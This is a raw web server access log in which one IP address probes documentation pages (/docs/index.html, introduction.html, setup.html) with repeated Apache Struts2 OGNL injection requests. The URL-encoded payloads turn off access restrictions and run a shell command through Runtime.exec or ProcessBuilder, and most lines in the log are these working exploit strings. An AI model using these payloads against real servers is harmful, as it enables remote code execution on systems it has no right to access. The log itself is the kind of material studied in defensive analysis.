222.186.180.34 - - [26/May/2023:05:52:38 +0530] "GET /docs/ HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:52:41 +0530] "POST /docs/index.html HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:52:43 +0530] "GET /docs/index.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:52:44 +0530] "GET /docs/index.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:52:46 +0530] "GET /docs/index.html?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27echo%20ccvaevcc%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte%5B51020%5D%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29 HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:52:47 +0530] "POST /docs/index.html HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:52:48 +0530] "GET /docs/index.html/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.0" 404 1054
172.104.11.46 - - [26/May/2023:05:52:49 +0530] "-" 400 -
222.186.180.34 - - [26/May/2023:05:52:49 +0530] "GET /docs/index.html&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27echo%20ccvaevcc%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)(%27meh%27)%5D HTTP/1.0" 404 2050
222.186.180.34 - - [26/May/2023:05:52:50 +0530] "GET /docs/index.html%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D HTTP/1.0" 404 2050
222.186.180.34 - - [26/May/2023:05:52:51 +0530] "GET /docs/index.html?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:52:52 +0530] "GET /docs/index.html/%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream())%2C%23q%7D.action HTTP/1.0" 404 1754
222.186.180.34 - - [26/May/2023:05:52:53 +0530] "GET /docs/index.html?redirect%3A%24%7B3341263%2B2829985%7D HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:52:55 +0530] "GET /docs/index.html?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:52:56 +0530] "POST /docs/index.html HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:52:57 +0530] "GET /docs/index.html?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:52:59 +0530] "GET /docs/index.html/%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D%2B602%2B53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 404 1438
222.186.180.34 - - [26/May/2023:05:53:00 +0530] "GET /docs/index.html/(%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23rs%3D@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=echo%20ccvaevcc HTTP/1.0" 404 1674
222.186.180.34 - - [26/May/2023:05:53:00 +0530] "POST /docs/index.html HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:53:02 +0530] "POST /docs/index.html HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:53:03 +0530] "POST /docs/index.html HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:53:11 +0530] "POST /docs/index.html HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:53:12 +0530] "GET /docs/index.html?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=echo%20ccvaevcc HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:53:16 +0530] "GET /docs/index.html/%24%7B4084313%2B1145689%7D/index.action HTTP/1.0" 404 1104
222.186.180.34 - - [26/May/2023:05:53:16 +0530] "GET /docs/index.html HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:53:19 +0530] "POST /docs/ HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:53:20 +0530] "GET /docs/ HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:53:21 +0530] "GET /docs/ HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:53:23 +0530] "GET /docs/ HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:53:24 +0530] "POST /docs/ HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:53:26 +0530] "GET /docs/ HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:53:27 +0530] "GET /docs/ HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:53:29 +0530] "GET /docs/ HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:53:30 +0530] "GET /docs/ HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:53:31 +0530] "GET /docs/ HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:53:32 +0530] "GET /docs/ HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:53:35 +0530] "GET /docs/ HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:53:36 +0530] "POST /docs/ HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:53:37 +0530] "GET /docs/ HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:53:39 +0530] "GET /docs/ HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:53:41 +0530] "GET /docs/ HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:53:42 +0530] "POST /docs/ HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:53:43 +0530] "POST /docs/ HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:53:45 +0530] "POST /docs/ HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:53:46 +0530] "POST /docs/ HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:53:47 +0530] "GET /docs/ HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:53:48 +0530] "GET /docs/ HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:53:49 +0530] "GET /docs/ HTTP/1.0" 200 16586
222.186.180.34 - - [26/May/2023:05:53:58 +0530] "POST /docs/introduction.html HTTP/1.0" 200 11851
222.186.180.34 - - [26/May/2023:05:54:00 +0530] "GET /docs/introduction.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 11851
222.186.180.34 - - [26/May/2023:05:54:01 +0530] "GET /docs/introduction.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 11851
222.186.180.34 - - [26/May/2023:05:54:02 +0530] "GET /docs/introduction.html?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27echo%20ccvaevcc%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte%5B51020%5D%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29 HTTP/1.0" 200 11851
222.186.180.34 - - [26/May/2023:05:54:03 +0530] "POST /docs/introduction.html HTTP/1.0" 200 11851
222.186.180.34 - - [26/May/2023:05:54:03 +0530] "GET /docs/introduction.html/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.0" 404 1068
222.186.180.34 - - [26/May/2023:05:54:04 +0530] "GET /docs/introduction.html&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27echo%20ccvaevcc%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)(%27meh%27)%5D HTTP/1.0" 404 2064
222.186.180.34 - - [26/May/2023:05:54:05 +0530] "GET /docs/introduction.html%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D HTTP/1.0" 404 2064
222.186.180.34 - - [26/May/2023:05:54:07 +0530] "GET /docs/introduction.html?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.0" 200 11851
222.186.180.34 - - [26/May/2023:05:54:08 +0530] "GET /docs/introduction.html/%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream())%2C%23q%7D.action HTTP/1.0" 404 1768
222.186.180.34 - - [26/May/2023:05:54:09 +0530] "GET /docs/introduction.html?redirect%3A%24%7B1359731%2B2186781%7D HTTP/1.0" 200 11851
222.186.180.34 - - [26/May/2023:05:54:11 +0530] "GET /docs/introduction.html?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.0" 200 11851
222.186.180.34 - - [26/May/2023:05:54:12 +0530] "POST /docs/introduction.html HTTP/1.0" 200 11851
222.186.180.34 - - [26/May/2023:05:54:13 +0530] "GET /docs/introduction.html?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 200 11851
222.186.180.34 - - [26/May/2023:05:54:14 +0530] "GET /docs/introduction.html/%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D%2B602%2B53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 404 1452
222.186.180.34 - - [26/May/2023:05:54:15 +0530] "GET /docs/introduction.html/(%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23rs%3D@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=echo%20ccvaevcc HTTP/1.0" 404 1688
222.186.180.34 - - [26/May/2023:05:54:16 +0530] "POST /docs/introduction.html HTTP/1.0" 200 11851
222.186.180.34 - - [26/May/2023:05:54:24 +0530] "POST /docs/introduction.html HTTP/1.0" 200 11851
222.186.180.34 - - [26/May/2023:05:54:25 +0530] "POST /docs/introduction.html HTTP/1.0" 200 11851
222.186.180.34 - - [26/May/2023:05:54:26 +0530] "POST /docs/introduction.html HTTP/1.0" 200 11851
222.186.180.34 - - [26/May/2023:05:54:27 +0530] "GET /docs/introduction.html?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=echo%20ccvaevcc HTTP/1.0" 200 11851
222.186.180.34 - - [26/May/2023:05:54:28 +0530] "GET /docs/introduction.html/%24%7B2417637%2B8888814%7D/index.action HTTP/1.0" 404 1118
222.186.180.34 - - [26/May/2023:05:54:29 +0530] "GET /docs/introduction.html HTTP/1.0" 200 11851
222.186.180.34 - - [26/May/2023:05:54:31 +0530] "POST /docs/setup.html HTTP/1.0" 200 12882
222.186.180.34 - - [26/May/2023:05:54:32 +0530] "GET /docs/setup.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 12882
222.186.180.34 - - [26/May/2023:05:54:34 +0530] "GET /docs/setup.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 12882
222.186.180.34 - - [26/May/2023:05:54:36 +0530] "GET /docs/setup.html?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27echo%20ccvaevcc%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte%5B51020%5D%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29 HTTP/1.0" 200 12882
222.186.180.34 - - [26/May/2023:05:54:37 +0530] "POST /docs/setup.html HTTP/1.0" 200 12882
